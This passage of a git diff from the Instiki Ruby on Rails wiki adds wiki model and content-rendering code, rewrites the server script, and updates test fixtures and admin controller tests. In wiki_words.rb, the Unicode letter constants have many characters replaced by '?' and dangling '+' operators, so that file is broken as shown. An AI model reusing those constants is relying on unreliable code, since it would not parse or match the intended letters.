page.wiki_words.include?(page_name) } + end + + def pages_that_include(page_name) + self.select { |page| page.wiki_includes.include?(page_name) } + end + + def pages_authored_by(author) + self.select { |page| page.authors.include?(author) } + end + + def characters + self.inject(0) { |chars,page| chars += page.content.size } + end + + # Returns all the orphaned pages in this page set. That is, + # pages in this set for which there is no reference in the web. + # The HomePage and author pages are always assumed to have + # references and so cannot be orphans + # Pages that refer to themselves and have no links from outside are oprphans. + def orphaned_pages + never_orphans = web.select.authors + ['HomePage'] + self.select { |page| + if never_orphans.include? page.name + false + else + references = pages_that_reference(page.name) + references.empty? or references == [page] + end + } + end + + # Returns all the wiki words in this page set for which + # there are no pages in this page set's web + def wanted_pages + wiki_words - web.select.names + end + + def names + self.map { |page| page.name } + end + + def wiki_words + self.inject([]) { |wiki_words, page| wiki_words << page.wiki_words }.flatten.uniq + end + + def authors + self.inject([]) { |authors, page| authors << page.authors }.flatten.uniq.sort + end + +end diff --git a/lib/wiki.rb b/lib/wiki.rb new file mode 100644 index 00000000..50093193 --- /dev/null +++ b/lib/wiki.rb @@ -0,0 +1,96 @@ +class Wiki + cattr_accessor :storage_path, :logger + self.storage_path = "#{RAILS_ROOT}/storage/" + self.logger = RAILS_DEFAULT_LOGGER + + def authenticate(password) + password == (system.password || 'instiki') + end + + def create_web(name, address, password = nil) + @webs = nil + Web.create(:name => name, :address => address, :password => password) + end + + def delete_web(address) + web = Web.find_by_address(address) + unless web.nil? + web.destroy + @webs = nil + end + end + + def file_yard(web) + web.file_yard + end + + def edit_web(old_address, new_address, name, markup, color, additional_style, safe_mode = false, + password = nil, published = false, brackets_only = false, count_pages = false, + allow_uploads = true, max_upload_size = nil) + + if not (web = Web.find_by_address(old_address)) + raise Instiki::ValidationError.new("Web with address '#{old_address}' does not exist") + end + + web.refresh_revisions if web.settings_changed?(markup, safe_mode, brackets_only) + web.update_attributes(:address => new_address, :name => name, :markup => markup, :color => color, + :additional_style => additional_style, :safe_mode => safe_mode, :password => password, :published => published, + :brackets_only => brackets_only, :count_pages => count_pages, :allow_uploads => allow_uploads, :max_upload_size => max_upload_size) + @webs = nil + raise Instiki::ValidationError.new("There is already a web with address '#{new_address}'") unless web.errors.on(:address).nil? + web + end + + def read_page(web_address, page_name) + self.class.logger.debug "Reading page '#{page_name}' from web '#{web_address}'" + web = Web.find_by_address(web_address) + if web.nil? + self.class.logger.debug "Web '#{web_address}' not found" + return nil + else + page = web.pages.find(:first, :conditions => ['name = ?', page_name]) + self.class.logger.debug "Page '#{page_name}' #{page.nil? ? 'not' : ''} found" + return page + end + end + + def remove_orphaned_pages(web_address) + web = Web.find_by_address(web_address) + web.remove_pages(web.select.orphaned_pages) + end + + def revise_page(web_address, page_name, content, revised_on, author) + page = read_page(web_address, page_name) + page.revise(content, revised_on, author) + end + + def rollback_page(web_address, page_name, revision_number, created_at, author_id = nil) + page = read_page(web_address, page_name) + page.rollback(revision_number, created_at, author_id) + end + + def setup(password, web_name, web_address) + system.update_attribute(:password, password) + create_web(web_name, web_address) + end + + def system + @system ||= (System.find(:first) || System.create) + end + + def setup? + Web.count > 0 + end + + def webs + @webs ||= Web.find(:all).inject({}) { |webs, web| webs.merge(web.address => web) } + end + + def storage_path + self.class.storage_path + end + + def write_page(web_address, page_name, content, written_on, author) + Web.find_by_address(web_address).add_page(page_name, content, written_on, author) + end +end \ No newline at end of file diff --git a/lib/wiki_content.rb b/lib/wiki_content.rb new file mode 100644 index 00000000..dcc89ef9 --- /dev/null +++ b/lib/wiki_content.rb @@ -0,0 +1,206 @@ +require 'cgi' +require 'chunks/engines' +require 'chunks/category' +require 'chunks/include' +require 'chunks/wiki' +require 'chunks/literal' +require 'chunks/uri' +require 'chunks/nowiki' + +# Wiki content is just a string that can process itself with a chain of +# actions. The actions can modify wiki content so that certain parts of +# it are protected from being rendered by later actions. +# +# When wiki content is rendered, it can be interrogated to find out +# which chunks were rendered. This means things like categories, wiki +# links, can be determined. +# +# Exactly how wiki content is rendered is determined by a number of +# settings that are optionally passed in to a constructor. The current +# options are: +# * :engine +# => The structural markup engine to use (Textile, Markdown, RDoc) +# * :engine_opts +# => A list of options to pass to the markup engines (safe modes, etc) +# * :pre_engine_actions +# => A list of render actions or chunks to be processed before the +# markup engine is applied. By default this is: +# Category, Include, URIChunk, WikiChunk::Link, WikiChunk::Word +# * :post_engine_actions +# => A list of render actions or chunks to apply after the markup +# engine. By default these are: +# Literal::Pre, Literal::Tags +# * :mode +# => How should the content be rendered? For normal display (show), +# publishing (:publish) or export (:export)? + +module ChunkManager + attr_reader :chunks_by_type, :chunks_by_id, :chunks, :chunk_id + + ACTIVE_CHUNKS = [ NoWiki, Category, WikiChunk::Link, URIChunk, LocalURIChunk, + WikiChunk::Word ] + + HIDE_CHUNKS = [ Literal::Pre, Literal::Tags ] + + MASK_RE = { + ACTIVE_CHUNKS => Chunk::Abstract.mask_re(ACTIVE_CHUNKS), + HIDE_CHUNKS => Chunk::Abstract.mask_re(HIDE_CHUNKS) + } + + def init_chunk_manager + @chunks_by_type = Hash.new + Chunk::Abstract::derivatives.each{|chunk_type| + @chunks_by_type[chunk_type] = Array.new + } + @chunks_by_id = Hash.new + @chunks = [] + @chunk_id = 0 + end + + def add_chunk(c) + @chunks_by_type[c.class] << c + @chunks_by_id[c.id] = c + @chunks << c + @chunk_id += 1 + end + + def delete_chunk(c) + @chunks_by_type[c.class].delete(c) + @chunks_by_id.delete(c.id) + @chunks.delete(c) + end + + def merge_chunks(other) + other.chunks.each{|c| add_chunk(c)} + end + + def scan_chunkid(text) + text.scan(MASK_RE[ACTIVE_CHUNKS]){|a| yield a[0] } + end + + def find_chunks(chunk_type) + @chunks.select { |chunk| chunk.kind_of?(chunk_type) and chunk.rendered? } + end + + # for testing and WikiContentStub; we need a page_id even if we have no page + def page_id + 0 + end + +end + +# A simplified version of WikiContent. Useful to avoid recursion problems in +# WikiContent.new +class WikiContentStub < String + attr_reader :options + include ChunkManager + def initialize(content, options) + super(content) + @options = options + init_chunk_manager + end + + # Detects the mask strings contained in the text of chunks of type chunk_types + # and yields the corresponding chunk ids + # example: content = "chunk123categorychunk
      chunk456categorychunk
      " + # inside_chunks(Literal::Pre) ==> yield 456 + def inside_chunks(chunk_types) + chunk_types.each{|chunk_type| chunk_type.apply_to(self) } + + chunk_types.each{|chunk_type| @chunks_by_type[chunk_type].each{|hide_chunk| + scan_chunkid(hide_chunk.text){|id| yield id } + } + } + end +end + +class WikiContent < String + + include ChunkManager + + DEFAULT_OPTS = { + :active_chunks => ACTIVE_CHUNKS, + :engine => Engines::Textile, + :engine_opts => [], + :mode => :show + }.freeze + + attr_reader :web, :options, :revision, :not_rendered, :pre_rendered + + # Create a new wiki content string from the given one. + # The options are explained at the top of this file. + def initialize(revision, options = {}) + @revision = revision + @web = @revision.page.web + + @options = DEFAULT_OPTS.dup.merge(options) + @options[:engine] = Engines::MAP[@web.markup] + @options[:engine_opts] = [:filter_html, :filter_styles] if @web.safe_mode? + @options[:active_chunks] = (ACTIVE_CHUNKS - [WikiChunk::Word] ) if @web.brackets_only? + + @not_rendered = @pre_rendered = nil + + super(@revision.content) + init_chunk_manager + build_chunks + @not_rendered = String.new(self) + end + + # Call @web.page_link using current options. + def page_link(name, text, link_type) + @options[:link_type] = (link_type || :show) + @web.make_link(name, text, @options) + end + + def build_chunks + # create and mask Includes and "active_chunks" chunks + Include.apply_to(self) + @options[:active_chunks].each{|chunk_type| chunk_type.apply_to(self)} + + # Handle hiding contexts like "pre" and "code" etc.. + # The markup (textile, rdoc etc) can produce such contexts with its own syntax. + # To reveal them, we work on a copy of the content. + # The copy is rendered and used to detect the chunks that are inside protecting context + # These chunks are reverted on the original content string. + + copy = WikiContentStub.new(self, @options) + @options[:engine].apply_to(copy) + + copy.inside_chunks(HIDE_CHUNKS) do |id| + @chunks_by_id[id].revert + end + end + + def pre_render! + unless @pre_rendered + @chunks_by_type[Include].each{|chunk| chunk.unmask } + @pre_rendered = String.new(self) + end + @pre_rendered + end + + def render! + pre_render! + @options[:engine].apply_to(self) + # unmask in one go. $~[1] is the chunk id + gsub!(MASK_RE[ACTIVE_CHUNKS]){ + if chunk = @chunks_by_id[$~[1]] + chunk.unmask_text + # if we match a chunkmask that existed in the original content string + # just keep it as it is + else + $~[0] + end} + self + end + + def page_name + @revision.page.name + end + + def page_id + @revision.page.id + end + +end + diff --git a/lib/wiki_words.rb b/lib/wiki_words.rb new file mode 100644 index 00000000..8f2b154f --- /dev/null +++ b/lib/wiki_words.rb @@ -0,0 +1,23 @@ +# Contains all the methods for finding and replacing wiki words +module WikiWords + # In order of appearance: Latin, greek, cyrillian, armenian + I18N_HIGHER_CASE_LETTERS = + "À?ÂÃÄÅĀĄĂÆÇĆČĈĊĎ?ÈÉÊËĒĘĚĔĖĜĞĠĢĤĦÌ?Î?ĪĨĬĮİIJĴĶ?ĽĹĻĿÑŃŇŅŊÒÓÔÕÖØŌ?ŎŒŔŘŖŚŠŞŜȘŤŢŦȚÙÚÛÜŪŮŰŬŨŲŴ?ŶŸŹŽŻ" + + "ΑΒΓΔΕΖΗΘΙΚΛΜ?ΞΟΠΡΣΤΥΦΧΨΩ" + + "ΆΈΉΊΌΎ?ѠѢѤѦѨѪѬѮѰѲѴѶѸѺѼѾҀҊҌҎ?ҒҔҖҘҚҜҞҠҢҤҦҨҪҬҮҰҲҴҶҸҺҼҾ?ӃӅӇӉӋ??ӒӔӖӘӚӜӞӠӢӤӦӨӪӬӮӰӲӴӸЖ" + + "ԱԲԳԴԵԶԷԸԹԺԻԼԽԾԿՀ?ՂՃՄՅՆՇՈՉՊՋՌ???ՑՒՓՔՕՖ" + + I18N_LOWER_CASE_LETTERS = + "àáâãäå?ąăæçć?ĉċ?đèéêëēęěĕėƒ?ğġģĥħìíîïīĩĭįıijĵķĸłľĺļŀñńňņʼnŋòóôõöø?ő?œŕřŗśšş?șťţŧțùúûüūůűŭũųŵýÿŷžżźÞþßſ?ð" + + "άέήίΰαβγδεζηθικλμνξοπ?ςστυφχψωϊϋό?ώ?" + + "абвгдежзийклмнопр?туфхцчшщъыь?ю??ёђѓєѕіїјљћќ?ўџѡѣѥѧѩѫѭѯѱѳѵѷѹѻѽѿ?ҋ??ґғҕҗҙқ?ҟҡңҥҧҩҫҭүұҳҵҷҹһҽҿӀӂӄӆӈӊӌӎӑӓӕӗәӛ?ӟӡӣӥӧөӫӭӯӱӳӵӹ" + + "աբգդեզէըթժիլխծկհձղճմյնշոչպջռսվտր?ւփքօֆև" + + WIKI_WORD_PATTERN = '[A-Z' + I18N_HIGHER_CASE_LETTERS + '][a-z' + I18N_LOWER_CASE_LETTERS + ']+[A-Z' + I18N_HIGHER_CASE_LETTERS + ']\w+' + CAMEL_CASED_WORD_BORDER = /([a-z#{I18N_LOWER_CASE_LETTERS}])([A-Z#{I18N_HIGHER_CASE_LETTERS}])/u + + def self.separate(wiki_word) + wiki_word.gsub(CAMEL_CASED_WORD_BORDER, '\1 \2') + end + +end diff --git a/rakefile.rb b/rakefile.rb index 1495f84e..e69de29b 100755 --- a/rakefile.rb +++ b/rakefile.rb @@ -1,134 +0,0 @@ -require 'rake' -require 'rake/clean' -require 'rake/testtask' -require 'rake/rdoctask' -require 'rake/packagetask' - -$VERBOSE = nil - -# Standard Rails tasks - -desc 'Run all tests' -task :default => [:test_units, :test_functional] - -desc 'Require application environment.' -task :environment do - unless defined? RAILS_ROOT - require File.dirname(__FILE__) + '/config/environment' - end -end - -desc 'Generate API documentatio, show coding stats' -task :doc => [ :appdoc, :stats ] - -desc 'Run the unit tests in test/unit' -Rake::TestTask.new('test_units') { |t| - t.libs << 'test' - t.pattern = 'test/unit/**/*_test.rb' - t.verbose = true -} - -desc 'Run the functional tests in test/functional' -Rake::TestTask.new('test_functional') { |t| - t.libs << 'test' - t.pattern = 'test/functional/**/*_test.rb' - t.verbose = true -} - -desc 'Generate documentation for the application' -Rake::RDocTask.new('appdoc') { |rdoc| - rdoc.rdoc_dir = 'doc/app' - rdoc.title = 'Rails Application Documentation' - rdoc.options << '--line-numbers --inline-source' - rdoc.rdoc_files.include('doc/README_FOR_APP') - rdoc.rdoc_files.include('app/**/*.rb') -} - -desc 'Generate documentation for the Rails framework' -Rake::RDocTask.new("apidoc") { |rdoc| - rdoc.rdoc_dir = 'doc/api' - rdoc.title = 'Rails Framework Documentation' - rdoc.options << '--line-numbers --inline-source' - rdoc.rdoc_files.include('README') - rdoc.rdoc_files.include('CHANGELOG') - rdoc.rdoc_files.include('vendor/rails/railties/CHANGELOG') - rdoc.rdoc_files.include('vendor/rails/railties/MIT-LICENSE') - rdoc.rdoc_files.include('vendor/rails/activerecord/README') - rdoc.rdoc_files.include('vendor/rails/activerecord/CHANGELOG') - rdoc.rdoc_files.include('vendor/rails/activerecord/lib/active_record/**/*.rb') - rdoc.rdoc_files.exclude('vendor/rails/activerecord/lib/active_record/vendor/*') - rdoc.rdoc_files.include('vendor/rails/actionpack/README') - rdoc.rdoc_files.include('vendor/rails/actionpack/CHANGELOG') - rdoc.rdoc_files.include('vendor/rails/actionpack/lib/action_controller/**/*.rb') - rdoc.rdoc_files.include('vendor/rails/actionpack/lib/action_view/**/*.rb') - rdoc.rdoc_files.include('vendor/rails/actionmailer/README') - rdoc.rdoc_files.include('vendor/rails/actionmailer/CHANGELOG') - rdoc.rdoc_files.include('vendor/rails/actionmailer/lib/action_mailer/base.rb') - rdoc.rdoc_files.include('vendor/rails/actionwebservice/README') - rdoc.rdoc_files.include('vendor/rails/actionwebservice/ChangeLog') - rdoc.rdoc_files.include('vendor/rails/actionwebservice/lib/action_web_service/**/*.rb') - rdoc.rdoc_files.include('vendor/rails/activesupport/README') - rdoc.rdoc_files.include('vendor/rails/activesupport/lib/active_support/**/*.rb') -} - -desc 'Report code statistics (KLOCs, etc) from the application' -task :stats => [ :environment ] do - require 'code_statistics' - CodeStatistics.new( - ['Helpers', 'app/helpers'], - ['Controllers', 'app/controllers'], - ['Functionals', 'test/functional'], - ['Models', 'app/models'], - ['Units', 'test/unit'], - ['Miscellaneous (lib)', 'lib'] - ).to_s -end - -# Additional tasks (not standard Rails) - -CLEAN << 'pkg' << 'storage' << 'doc' << 'html' - -begin - require 'rubygems' - require 'rake/gempackagetask' -rescue Exception => e - nil -end - -if defined? Rake::GemPackageTask - gemspec = eval(File.read('instiki.gemspec')) - Rake::GemPackageTask.new(gemspec) do |p| - p.gem_spec = gemspec - p.need_tar = true - p.need_zip = true - end - - Rake::PackageTask.new('instiki', gemspec.version) do |p| - p.need_tar = true - p.need_zip = true - # the list of glob expressions for files comes from instiki.gemspec - p.package_files.include($__instiki_source_patterns) - end - - # Create a task to build the RDOC documentation tree. - rd = Rake::RDocTask.new("rdoc") { |rdoc| - rdoc.rdoc_dir = 'html' - rdoc.title = 'Instiki -- The Wiki' - rdoc.options << '--line-numbers --inline-source --main README' - rdoc.rdoc_files.include(gemspec.files) - rdoc.main = 'README' - } -else - puts 'Warning: without Rubygems packaging tasks are not available' -end - -# Shorthand aliases -desc 'Shorthand for test_units' -task :tu => :test_units -desc 'Shorthand for test_units' -task :ut => :test_units - -desc 'Shorthand for test_functional' -task :tf => :test_functional -desc 'Shorthand for test_functional' -task :ft => :test_functional diff --git a/script/console b/script/console new file mode 100644 index 00000000..eece24a9 --- /dev/null +++ b/script/console @@ -0,0 +1,23 @@ +#!/usr/local/bin/ruby +irb = RUBY_PLATFORM =~ /mswin32/ ? 'irb.bat' : 'irb' + +require 'optparse' +options = { :sandbox => false, :irb => irb } +OptionParser.new do |opt| + opt.on('-s', '--sandbox', 'Rollback database modifications on exit.') { |options[:sandbox]| } + opt.on("--irb=[#{irb}]", 'Invoke a different irb.') { |options[:irb]| } + opt.parse!(ARGV) +end + +libs = " -r irb/completion" +libs << " -r #{File.dirname(__FILE__)}/../config/environment" +libs << " -r console_sandbox" if options[:sandbox] + +ENV['RAILS_ENV'] = ARGV.first || 'development' +if options[:sandbox] + puts "Loading #{ENV['RAILS_ENV']} environment in sandbox." + puts "Any modifications you make will be rolled back on exit." +else + puts "Loading #{ENV['RAILS_ENV']} environment." +end +exec "#{options[:irb]} #{libs} --prompt-mode simple" diff --git a/script/create_db b/script/create_db index b421fb8c..642b0d03 100644 --- a/script/create_db +++ b/script/create_db @@ -12,7 +12,7 @@ config = ActiveRecord::Base.configurations ENV['RAILS_ENV'] = target load APP_ROOT + 'config/environment.rb' puts "Creating tables for #{target}..." - + db_structure(config[target]['adapter']).split(/\s*;\s*/).each do |sql| ActiveRecord::Base.connection.execute(sql) end diff --git a/script/server b/script/server index 0da05085..487d1fd9 100755 --- a/script/server +++ b/script/server @@ -1,93 +1,49 @@ -#!/usr/bin/ruby +#!/usr/local/bin/ruby require 'webrick' require 'optparse' -require 'fileutils' - -pwd = File.expand_path(File.dirname(__FILE__) + "/..") OPTIONS = { - # Overridable options - :port => 2500, - :ip => '0.0.0.0', - :environment => 'production', - :server_root => File.expand_path(File.dirname(__FILE__) + '/../public/'), - :server_type => WEBrick::SimpleServer, - :storage => "#{File.expand_path(FileUtils.pwd)}/storage", + :port => 3000, + :ip => "0.0.0.0", + :environment => "development", + :server_root => File.expand_path(File.dirname(__FILE__) + "/../public/"), + :server_type => WEBrick::SimpleServer } ARGV.options do |opts| script_name = File.basename($0) opts.banner = "Usage: ruby #{script_name} [options]" - opts.separator '' + opts.separator "" - opts.on('-p', '--port=port', Integer, - 'Runs Instiki on the specified port.', - 'Default: 2500') { |OPTIONS[:port]| } - opts.on('-b', '--binding=ip', String, - 'Binds Rails to the specified ip.', - 'Default: 0.0.0.0') { |OPTIONS[:ip]| } - opts.on('-e', '--environment=name', String, - 'Specifies the environment to run this server under (test/development/production).', - 'Default: production') { |OPTIONS[:environment]| } - opts.on('-d', '--daemon', - 'Make Instiki run as a Daemon (only works if fork is available -- meaning on *nix).' + opts.on("-p", "--port=port", Integer, + "Runs Rails on the specified port.", + "Default: 3000") { |OPTIONS[:port]| } + opts.on("-b", "--binding=ip", String, + "Binds Rails to the specified ip.", + "Default: 0.0.0.0") { |OPTIONS[:ip]| } + opts.on("-e", "--environment=name", String, + "Specifies the environment to run this server under (test/development/production).", + "Default: development") { |OPTIONS[:environment]| } + opts.on("-d", "--daemon", + "Make Rails run as a Daemon (only works if fork is available -- meaning on *nix)." ) { OPTIONS[:server_type] = WEBrick::Daemon } - opts.on('-s', '--simple', '--simple-server', - '[deprecated] Forces Instiki not to run as a Daemon if fork is available.', - 'Since version 0.10.0 this option is ignored.' - ) { puts "Warning: -s (--simple) option is deprecated. See instiki --help for details." } - opts.on('-t', '--storage=storage', String, - 'Makes Instiki use the specified directory for storage.', - 'Default: ./storage/[port]') { |OPTIONS[:storage]| } - opts.on('-x', '--notex', - 'Blocks wiki exports to TeX and PDF, even when pdflatex is available.' - ) { |OPTIONS[:notex]| } - opts.on('-v', '--verbose', - 'Enables debug-level logging' - ) { OPTIONS[:verbose] = true } - opts.separator '' + opts.separator "" - opts.on('-h', '--help', - 'Show this help message.') { puts opts; exit } + opts.on("-h", "--help", + "Show this help message.") { puts opts; exit } opts.parse! end -if OPTIONS[:environment] == 'production' - storage_path = "#{OPTIONS[:storage]}/#{OPTIONS[:port]}" -else - storage_path = "#{OPTIONS[:storage]}/#{OPTIONS[:environment]}/#{OPTIONS[:port]}" -end -FileUtils.mkdir_p(storage_path) +ENV["RAILS_ENV"] = OPTIONS[:environment] +require File.dirname(__FILE__) + "/../config/environment" +require 'webrick_server' -ENV['RAILS_ENV'] = OPTIONS[:environment] -$instiki_debug_logging = OPTIONS[:verbose] -require File.expand_path(File.dirname(__FILE__) + '/../config/environment') -WikiService.storage_path = storage_path +OPTIONS['working_directory'] = File.expand_path(RAILS_ROOT) -if OPTIONS[:notex] - OPTIONS[:pdflatex] = false -else - begin - OPTIONS[:pdflatex] = system "pdflatex -version" - rescue Errno::ENOENT - OPTIONS[:pdflatex] = false - end -end - -if defined? INSTIKI_BATCH_JOB - require 'application' -else - puts "=> Starting Instiki on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}" - puts "=> Data files are stored in #{storage_path}" - - require 'webrick_server' - require_dependency 'application' - - OPTIONS[:index_controller] = 'wiki' - ApplicationController.wiki = WikiService.instance - DispatchServlet.dispatch(OPTIONS) -end +puts "=> Rails application started on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}" +puts "=> Ctrl-C to shutdown server; call with --help for options" if OPTIONS[:server_type] == WEBrick::SimpleServer +DispatchServlet.dispatch(OPTIONS) diff --git a/test/fixtures/pages.yml b/test/fixtures/pages.yml index 2c62113c..f7add425 100644 --- a/test/fixtures/pages.yml +++ b/test/fixtures/pages.yml @@ -1,5 +1,55 @@ home_page: id: 1 - created_at: 2004-08-01 - updated_at: 2005-08-01 - web_id: 1 \ No newline at end of file + created_at: <%= Time.local(2004, 4, 4, 16, 50).to_formatted_s(:db) %> + updated_at: <%= Time.local(2004, 4, 4, 16, 50).to_formatted_s(:db) %> + web_id: 1 + name: HomePage + +my_way: + id: 2 + created_at: <%= 9.days.ago.to_formatted_s(:db) %> + updated_at: <%= 9.days.ago.to_formatted_s(:db) %> + web_id: 1 + name: MyWay + +smart_engine: + id: 3 + created_at: <%= 8.days.ago.to_formatted_s(:db) %> + updated_at: <%= 8.days.ago.to_formatted_s(:db) %> + web_id: 1 + name: SmartEngine + +that_way: + id: 4 + created_at: <%= 7.days.ago.to_formatted_s(:db) %> + updated_at: <%= 7.days.ago.to_formatted_s(:db) %> + web_id: 1 + name: ThatWay + +no_wiki_word: + id: 5 + created_at: <%= 6.days.ago.to_formatted_s(:db) %> + updated_at: <%= 6.days.ago.to_formatted_s(:db) %> + web_id: 1 + name: NoWikiWord + +first_page: + id: 6 + created_at: <%= Time.local(2004, 4, 4, 16, 55).to_formatted_s(:db) %> + updated_at: <%= Time.local(2004, 4, 4, 16, 55).to_formatted_s(:db) %> + web_id: 1 + name: FirstPage + +oak: + id: 7 + created_at: <%= 5.days.ago.to_formatted_s(:db) %> + updated_at: <%= 5.days.ago.to_formatted_s(:db) %> + web_id: 1 + name: Oak + +elephant: + id: 8 + created_at: <%= 10.minutes.ago.to_formatted_s(:db) %> + updated_at: <%= 10.minutes.ago.to_formatted_s(:db) %> + web_id: 1 + name: Elephant \ No newline at end of file diff --git a/test/fixtures/revisions.yml b/test/fixtures/revisions.yml index 9d43eb26..eb5eff5b 100644 --- a/test/fixtures/revisions.yml +++ b/test/fixtures/revisions.yml @@ -1,6 +1,84 @@ home_page_first_revision: id: 1 - created_at: 2004-08-01 - updated_at: 2005-08-01 + created_at: <%= Time.local(2004, 4, 4, 15, 50).to_formatted_s(:db) %> + updated_at: <%= Time.local(2004, 4, 4, 15, 50).to_formatted_s(:db) %> page_id: 1 - content: some text \ No newline at end of file + number: 1 + content: First revision of the HomePage end + author: AnAuthor + ip: 127.0.0.1 + +my_way_first_revision: + id: 2 + created_at: <%= 9.days.ago.to_formatted_s(:db) %> + updated_at: <%= 9.days.ago.to_formatted_s(:db) %> + page_id: 2 + number: 1 + content: MyWay + author: Me + +smart_engine_first_revision: + id: 3 + created_at: <%= 8.days.ago.to_formatted_s(:db) %> + updated_at: <%= 8.days.ago.to_formatted_s(:db) %> + page_id: 3 + number: 1 + content: SmartEngine + author: Me + +that_way_first_revision: + id: 4 + created_at: <%= 7.days.ago.to_formatted_s(:db) %> + updated_at: <%= 7.days.ago.to_formatted_s(:db) %> + page_id: 4 + number: 1 + content: ThatWay + author: Me + +no_wiki_word_first_revision: + id: 5 + created_at: <%= 6.days.ago.to_formatted_s(:db) %> + updated_at: <%= 6.days.ago.to_formatted_s(:db) %> + page_id: 5 + number: 1 + content: hey you + author: Me + +home_page_second_revision: + id: 6 + created_at: <%= Time.local(2004, 4, 4, 16, 50).to_formatted_s(:db) %> + updated_at: <%= Time.local(2004, 4, 4, 16, 50).to_formatted_s(:db) %> + page_id: 1 + number: 2 + content: HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \OverThere -- see SmartEngine in that SmartEngineGUI + author: DavidHeinemeierHansson + +first_page_first_revision: + id: 7 + created_at: <%= Time.local(2004, 4, 4, 16, 55).to_formatted_s(:db) %> + updated_at: <%= Time.local(2004, 4, 4, 16, 55).to_formatted_s(:db) %> + page_id: 6 + number: 1 + content: HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that SmartEngineGUI + author: DavidHeinemeierHansson + +oak_first_revision: + id: 8 + created_at: <%= 5.days.ago.to_formatted_s(:db) %> + updated_at: <%= 5.days.ago.to_formatted_s(:db) %> + page_id: 7 + number: 1 + content: "All about oak.\ncategory: trees" + author: TreeHugger + ip: 127.0.0.2 + +elephant_first_revision: + id: 9 + created_at: <%= 10.minutes.ago.to_formatted_s(:db) %> + updated_at: <%= 10.minutes.ago.to_formatted_s(:db) %> + page_id: 8 + number: 1 + content: "All about elephants.\ncategory: animals" + author: Guest + ip: 127.0.0.2 + diff --git a/test/fixtures/system.yml b/test/fixtures/system.yml new file mode 100644 index 00000000..1b17f2fc --- /dev/null +++ b/test/fixtures/system.yml @@ -0,0 +1,2 @@ +system: + password: test_password diff --git a/test/fixtures/webs.yml b/test/fixtures/webs.yml index 7276bb65..29c89566 100644 --- a/test/fixtures/webs.yml +++ b/test/fixtures/webs.yml @@ -2,5 +2,14 @@ test_wiki: id: 1 created_at: 2004-08-01 updated_at: 2005-08-01 - name: wiki - address: wiki \ No newline at end of file + name: wiki1 + address: wiki1 + markup: textile + +instiki: + id: 2 + created_at: 2004-08-01 + updated_at: 2005-08-01 + name: Instiki + address: instiki + markup: textile \ No newline at end of file diff --git a/test/functional/admin_controller_test.rb b/test/functional/admin_controller_test.rb index 7aed5c70..a24cf8c0 100644 --- a/test/functional/admin_controller_test.rb +++ b/test/functional/admin_controller_test.rb @@ -1,70 +1,73 @@ -#!/bin/env ruby -w +#!/bin/env ruby -require File.dirname(__FILE__) + '/../test_helper' +require File.expand_path(File.dirname(__FILE__) + '/../test_helper') require 'admin_controller' # Raise errors beyond the default web-based presentation class AdminController; def rescue_action(e) logger.error(e); raise e end; end class AdminControllerTest < Test::Unit::TestCase + fixtures :webs, :pages, :revisions, :system def setup - setup_test_wiki - setup_controller_test + @controller = AdminController.new + @request = ActionController::TestRequest.new + @response = ActionController::TestResponse.new + @wiki = Wiki.new + @oak = pages(:oak) + @elephant = pages(:elephant) + @web = webs(:test_wiki) + @home = @page = pages(:home_page) end - def tear_down - tear_down_wiki - end - - def test_create_system_form_displayed - ApplicationController.wiki = WikiServiceWithNoPersistence.new + use_blank_wiki process('create_system') - assert_success + assert_response :success end def test_create_system_form_submitted - ApplicationController.wiki = WikiServiceWithNoPersistence.new - assert !ApplicationController.wiki.setup? + use_blank_wiki + assert !@wiki.setup? process('create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', 'web_address' => 'my_wiki') assert_redirected_to :web => 'my_wiki', :controller => 'wiki', :action => 'new', :id => 'HomePage' - assert ApplicationController.wiki.setup? - assert_equal 'a_password', ApplicationController.wiki.system[:password] - assert_equal 1, ApplicationController.wiki.webs.size - new_web = ApplicationController.wiki.webs['my_wiki'] + assert @wiki.setup? + assert_equal 'a_password', @wiki.system[:password] + assert_equal 1, @wiki.webs.size + new_web = @wiki.webs['my_wiki'] assert_equal 'My Wiki', new_web.name assert_equal 'my_wiki', new_web.address end def test_create_system_form_submitted_and_wiki_already_initialized - wiki_before = ApplicationController.wiki - assert ApplicationController.wiki.setup? + wiki_before = @wiki + old_size = @wiki.webs.size + assert @wiki.setup? process 'create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', 'web_address' => 'my_wiki' - assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' - assert_equal wiki_before, ApplicationController.wiki + assert_redirected_to :web => @wiki.webs.keys.first, :action => 'show', :id => 'HomePage' + assert_equal wiki_before, @wiki # and no new web should be created either - assert_equal 1, ApplicationController.wiki.webs.size + assert_equal old_size, @wiki.webs.size assert_flash_has :error end def test_create_system_no_form_and_wiki_already_initialized assert @wiki.setup? process('create_system') - assert_redirected_to :web => 'wiki1', :action => 'show', :id => 'HomePage' + assert_redirected_to :web => @wiki.webs.keys.first, :action => 'show', :id => 'HomePage' assert_flash_has :error end def test_create_web - @wiki.system[:password] = 'pswd' + @wiki.system.update_attribute(:password, 'pswd') process 'create_web', 'system_password' => 'pswd', 'name' => 'Wiki Two', 'address' => 'wiki2' @@ -76,7 +79,7 @@ class AdminControllerTest < Test::Unit::TestCase end def test_create_web_default_password - @wiki.system[:password] = nil + @wiki.system.update_attribute(:password, nil) process 'create_web', 'system_password' => 'instiki', 'name' => 'Wiki Two', 'address' => 'wiki2' @@ -84,7 +87,7 @@ class AdminControllerTest < Test::Unit::TestCase end def test_create_web_failed_authentication - @wiki.system[:password] = 'pswd' + @wiki.system.update_attribute(:password, 'pswd') process 'create_web', 'system_password' => 'wrong', 'name' => 'Wiki Two', 'address' => 'wiki2' @@ -93,20 +96,20 @@ class AdminControllerTest < Test::Unit::TestCase end def test_create_web_no_form_submitted - @wiki.system[:password] = 'pswd' + @wiki.system.update_attribute(:password, 'pswd') process 'create_web' - assert_success + assert_response :success end def test_edit_web_no_form process 'edit_web', 'web' => 'wiki1' # this action simply renders a form - assert_success + assert_response :success end def test_edit_web_form_submitted - @wiki.system[:password] = 'pswd' + @wiki.system.update_attribute(:password, 'pswd') process('edit_web', 'system_password' => 'pswd', 'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1', @@ -116,21 +119,22 @@ class AdminControllerTest < Test::Unit::TestCase 'max_upload_size' => '300') assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage' + @web 